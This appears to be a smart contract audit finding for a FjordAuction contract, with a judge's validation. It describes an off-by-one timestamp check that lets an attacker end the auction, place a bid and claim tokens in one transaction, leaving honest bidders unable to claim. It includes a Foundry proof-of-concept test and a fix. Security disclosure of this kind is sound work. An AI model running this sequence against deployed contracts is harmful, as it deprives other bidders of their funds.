DeFiFoundry
20,000 USDC
View results
Submission Details
Severity: medium
Valid

Lack of liquidity make honest bidders not claim his tokens

Summary

An attacker can finish an auction and still make bids afterward. This vulnerability leads to a lack of liquidity for honest bidders.

Vulnerability Details

In the FjordAuction contract, it's possible to finish an auction and still make a bid due to incorrect timestamp validation when block.timestamp == auctionEndTime. This flaw could leave other bidders with insufficient liquidity to claim their tokens.

An attacker could exploit this vulnerability through the following steps:

  1. Identify auctions with favorable prices

  2. When block.timestamp == auctionEndTime, execute the following sequence:

    1. Call auctionEnd()

    2. Place a bid using bid()

    3. Claim tokens via claimTokens()

  3. As a result, other bidders attempting to claim their tokens will fail due to lack of contract liquidity

POC

Add this code to auction.t.sol

function testAuctionDOSInsufficientLiquidity() public {
//@audit add funds to honest bidder and attacker
address bidder = address(0x2);
uint256 bidAmount = 100 ether;
deal(address(fjordPoints), bidder, bidAmount);
address attacker = address(0xa);
uint256 attackAmount = 100 ether;
deal(address(fjordPoints), attacker, attackAmount);
//@audit Honest bidder makes his bid
vm.startPrank(bidder);
fjordPoints.approve(address(auction), bidAmount);
auction.bid(bidAmount);
vm.stopPrank();
skip(biddingTime); //@audit set the time to end of biding time
/*@audit
In the same transaction the attacker finished the auction
Add a new bid and claim his tokens
*/
vm.startPrank(attacker);
auction.auctionEnd();
fjordPoints.approve(address(auction), attackAmount);
auction.bid(attackAmount);
auction.claimTokens();
vm.stopPrank();
//@audit The bidder can't claim his tokens because there is no liquidity for him
vm.startPrank(bidder);
vm.expectRevert();
auction.claimTokens();
vm.stopPrank();
}

Impact

Honest bidders might not be able to claim their tokens, potentially leaving them stuck in the contract.

Tools Used

Manual review

Recommendations

Consider either adding a validation if the auction is ended before bid and unbid or fixing the block.timestamp validation to:

-if (block.timestamp > auctionEndTime) {
+if (block.timestamp >= auctionEndTime) {
revert AuctionAlreadyEnded();
}
Updates

Lead Judging Commences

inallhonesty Lead Judge 12 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Users can bid in the same block when the actionEnd could be called (`block.timestamp==actionEndTime`), depending on the order of txs in block they could lose funds

The protocol doesn't properly treat the `block.timestamp == auctionEndTime` case. Impact: High - There are at least two possible impacts here: 1. By chance, user bids could land in a block after the `auctionEnd()` is called, not including them in the multiplier calculation, leading to a situation where there are insufficient funds to pay everyone's claim; 2. By malice, where someone can use a script to call `auctionEnd()` + `bid(totalBids)` + `claimTokens()`, effectively depriving all good faith bidders from tokens. Likelihood: Low – The chances of getting a `block.timestamp == auctionEndTime` are pretty slim, but it’s definitely possible.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.